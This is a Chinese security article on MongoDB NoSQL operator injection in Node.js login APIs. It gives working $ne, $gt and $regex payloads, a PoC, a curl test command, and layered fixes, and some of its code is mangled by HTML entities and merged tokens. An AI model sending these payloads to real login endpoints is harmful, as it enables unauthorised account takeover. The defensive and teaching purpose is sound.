MongoDBNoSQL注入攻破API登录端点:当$gt成为万能钥匙

admin 2026-05-23 04:44:04 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了MongoDBNoSQL注入攻击如何通过合法JSON结构绕过API登录认证。当后端直接使用用户输入构造MongoDB查询时,攻击者可通过ne、gt等操作符实现认证绕过。文档提供了三种攻击载荷示例、完整PoC代码和手动检测方法,并建议采用输入类型验证、Mongoose参数化查询和安全查询函数三层防御策略。 综合评分: 88 文章分类: 漏洞分析,WEB安全,解决方案,代码审计,安全开发


cover_image

MongoDB NoSQL注入攻破API登录端点:当$gt成为万能钥匙

原创

Jack Stone Jack Stone

黑白之道

2026年5月20日 08:35 江西

在小说阅读器读本章

去阅读

导语:当登录接口的后端是MongoDB,而前端直接透传JSON请求体时,「密码正确」的判断逻辑可以被一个合法的JSON结构彻底推翻。MongoDB NoSQL注入不需要SQL注释符,不需要引号逃逸——只需把字符串改成对象,密码验证瞬间归零。

为什么这件事值得关心?

Bug赏金猎人测试 POST /api/v1/login 时发现:这个接口同时服务于管理员和商户登录,后端大概率是 Node.js + MongoDB。这是一个非常经典的组合,也是 NoSQL 注入的高危场景。

关键问题在于:如果后端代码直接 JSON.parse(req.body) 后将字段值传给 MongoDB 查询,攻击者完全可以传入非字符串类型——比如传入一个 JSON 对象而非字符串。这个「类型越界」直接打开了 NoSQL 注入的大门。

根据 PortSwigger 的研究,基于 MongoDB 的认证绕过是 OWASP Top 10 中最容易被忽视的漏洞类型之一——因为 payload 完全合法 JSON,WAF 和 API 网关几乎不可能拦截。

从「合法请求」到「认证绕过」:一条数据流的叛变

脆弱的典型代码模式

// ❌ 危险:直接使用用户输入构造 MongoDB 查询
app.post('/api/v1/login', async (req, res) => {
const { email, password } = req.body;

const user = await db.collection('users').findOne({
    email: email,       // ← 攻击者可以传对象
    password: password  // ← 攻击者可以传对象
  });

if (user) return res.json({ token: generateToken(user) });
return res.status(401).json({ error: 'Invalid credentials' });
});

这段代码的问题在哪里?看起来完全正常——标准 Express 路由、标准 MongoDB 查询、没有明显的注入点。

但 MongoDB 的 findOne 接受的是 BSON 查询文档,不是 SQL 字符串。当你传入 { email: "[email protected]", password: "$gt:"" } 时,MongoDB 不会报错——它会把 $gt 解析为一个操作符

攻击载荷:三种 Bypass 方式

方式一:空字符串匹配($ne 不等于空)

{
  "email": "[email protected]",
  "password": { "$ne": "" }
}

等价查询:

db.users.findOne({ email: "[email protected]", password: { $ne: "" } })

MongoDB 将所有 password 不为空的文档都视为匹配——恰好几乎所有真实用户的密码都非空。一步绕过认证

方式二:恒真条件($gt 空字符串)

{
  "email": "[email protected]",
  "password": { "$gt": "" }
}

$gt 操作符将所有 password 字段值大于空字符串的文档全部匹配——覆盖几乎所有场景。

方式三:正则表达式盲注(逐位猜解密码)

{
  "email": "[email protected]",
  "password": { "$regex": "^a.*", "$options": "i" }
}

通过调整正则表达式逐位猜解密码,$regex + $options 组合可以实现无回显的盲注攻击。

攻击数据流:从 HTTP 请求到数据库执行

浏览器/攻击者
    │
    │ POST /api/v1/login
    │ {"email": "[email protected]", "password": {"$ne": ""}}
    ▼
Express 中间件
    │
    │ req.body → JSON.parse ✅ (完全合法的JSON)
    ▼
MongoDB 查询构造
    │
    │ { email: "[email protected]", password: { $ne: "" } }
    ▼
MongoDB 引擎
    │
    │ 解析 $ne 为操作符,匹配所有 password≠"" 的文档
    ▼
认证通过 → 返回 JWT Token

每一步都「正常工作」——没有异常、没有报错、没有日志警告。这就是 NoSQL 注入的危险所在:它在完全合法的 API 调用中完成认证 bypass

完整 PoC:在 Node.js + MongoDB 环境下复现

// 环境:Node.js + Express + MongoDB Native Driver

// 脆弱目标代码
app.post('/api/v1/login', async (req, res) => {
const { email, password } = req.body;
// ⚠️ 漏洞:MongoDB 直接接收未类型验证的输入
const user = await users.findOne({ email, password });
// 当 password 是 {$ne: ""} 时,查询变成:
// { email: "[email protected]", password: { $ne: "" } }
if (user) return res.json({ success: true, token: "..." });
return res.status(401).json({ error: "Invalid credentials" });
});

// 攻击 Payload(完全合法的 JSON)
{
"email": "[email protected]",
"password": { "$ne": "" }
}
// ✅ 返回 200 + Token —— 认证绕过成功

如何验证自己是否受影响?

快速检测方法(手动):

# 使用 curl 发送 NoSQL 注入 Payload
curl -X POST https://your-api.com/api/v1/login \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":{"$ne":""}}'

# 如果返回 200 或 Token → 存在 NoSQL 注入漏洞
# 如果返回 401 → 可能已做防护

自动化扫描建议:

  • Burp Suite Intruder:在 password 字段使用 $ne 和 $gt 作为 payload
  • APIsec / Postman Collection Runner:针对所有认证端点批量测试
  • 代码审计:全局搜索 findOne / find / findOneAndUpdate 调用,检查输入是否经过类型校验

彻底修复:三层防御策略

第一层:输入类型强制验证

// ✅ 正确:强制类型校验 + 白名单字段
app.post('/api/v1/login', (req, res, next) => {
const { email, password } = req.body;

// 类型断言:必须是字符串
if (typeof email !== 'string' || typeof password !== 'string') {
    return res.status(400).json({ error: 'Invalid input type' });
  }

// 长度校验
if&nbsp;(email.length&nbsp;>&nbsp;255&nbsp;|| password.length&nbsp;<&nbsp;6&nbsp;|| password.length&nbsp;>&nbsp;128) {
&nbsp; &nbsp;&nbsp;return&nbsp;res.status(400).json({&nbsp;error:&nbsp;'Invalid input length'&nbsp;});
&nbsp; }

next();&nbsp;// 通过后继续
});

第二层:使用参数化查询(Mongoose Schema 约束)

// ✅ Mongoose Schema 定义类型约束
constUserSchema&nbsp;=&nbsp;newSchema({
email: {&nbsp;type:&nbsp;String,&nbsp;required:&nbsp;true&nbsp;},
password: {&nbsp;type:&nbsp;String,&nbsp;required:&nbsp;true&nbsp;}
});

// ✅ 即使传入对象,Mongoose 也会拒绝写入
app.post('/api/v1/login',&nbsp;async&nbsp;(req, res) => {
const&nbsp;{ email, password } = req.body;

// 先按字符串匹配查找
const&nbsp;user =&nbsp;awaitUser.findOne({&nbsp;email: email.toLowerCase().trim() });

if&nbsp;(!user)&nbsp;return&nbsp;res.status(401).json({&nbsp;error:&nbsp;'Invalid credentials'&nbsp;});

// bcrypt 比较(不依赖 MongoDB 查询完成认证)
const&nbsp;valid =&nbsp;await&nbsp;bcrypt.compare(password, user.password);
if&nbsp;(!valid)&nbsp;return&nbsp;res.status(401).json({&nbsp;error:&nbsp;'Invalid credentials'&nbsp;});

return&nbsp;res.json({&nbsp;token: jwt.sign({&nbsp;id: user._id&nbsp;},&nbsp;JWT_SECRET) });
});

第三层:MongoDB 查询类型白名单

// ✅ 构建「安全查询」函数——拒绝非预期类型的字段值
functionbuildSafeQuery(schema, input) {
const&nbsp;query = {};
for&nbsp;(const&nbsp;[key, value]&nbsp;ofObject.entries(input)) {
&nbsp; &nbsp;&nbsp;const&nbsp;fieldType = schema[key]?.type;
&nbsp; &nbsp;&nbsp;// 只允许基础类型通过
&nbsp; &nbsp;&nbsp;if&nbsp;(fieldType ===&nbsp;String&nbsp;&&&nbsp;typeof&nbsp;value ===&nbsp;'string') {
&nbsp; &nbsp; &nbsp; query[key] = value;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 对象、数组等一律拦截
&nbsp; &nbsp;&nbsp;elseif&nbsp;(typeof&nbsp;value ===&nbsp;'object') {
&nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp;// 静默丢弃
&nbsp; &nbsp; }
&nbsp; }
return&nbsp;query;
}

更广泛的攻击面

NoSQL 注入不止影响登录端点。以下场景同样高危:

| 场景 | 注入点 | 潜在影响 | | — | — | — | | 用户搜索 | ?q=xxx → MongoDB 查询 | 越权读取其他用户数据 | | 订单查询 | { order_id: user_input } | 越权读取他人订单 | | 分页参数 | { page: user_input } | 整数溢出/DoS | | 批量更新 | { $set: user_input } | 批量数据篡改 |

如果登录端点用了 MongoDB,那搜索、订单、评论等几乎所有读操作都值得重新审计。

未来趋势

随着 GraphQL 和 REST API 的普及,NoSQL 注入的攻击面正持续扩大。2025-2026年多个真实案例表明:

  1. Node.js + MongoDB 组合的高频滥用:MongoDB 原生支持 BSON 文档查询,开发框架(Express、NestJS)默认不强制类型约束
  2. WAF 对 NoSQL 注入检测能力不足:Payload 是合法 JSON,传统基于 SQL 模式的 WAF 规则完全失效
  3. API 优先架构放大风险:微服务架构下,每个内部 API 都是潜在的注入入口
  4. AI 代码生成加剧问题:LLM 生成代码时,往往不会自动添加 NoSQL 注入防护

对于安全团队,这要求把 NoSQL 注入纳入 API 安全测试的必检项——不能仅靠 SAST 工具,必须结合人工审计和运行时测试。


参考来源:

  • PortSwigger Web Security Academy:NoSQL Injection Lab
  • https://www.apisec.ai/blog/nosql-injection-api-detection-prevention-guide[1]
  • https://www.acunetix.com/vulnerabilities/web/authentication-bypass-via-mongodb-operator-injection/[2]
  • https://book.hacktricks.xyz/pentesting-web/nosql-injection[3]
  • https://oneuptime.com/blog/post/2026-01-06-nodejs-api-security-owasp-top-10/view[4]

图片版权 华盟网

引用链接

[1]https://www.apisec.ai/blog/nosql-injection-api-detection-prevention-guide

[2]https://www.acunetix.com/vulnerabilities/web/authentication-bypass-via-mongodb-operator-injection/

[3]https://book.hacktricks.xyz/pentesting-web/nosql-injection

[4]https://oneuptime.com/blog/post/2026-01-06-nodejs-api-security-owasp-top-10/view


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:黑白之道 Jack Stone Jack Stone《MongoDB NoSQL注入攻破API登录端点:当$gt成为万能钥匙》

评论:0   参与:  0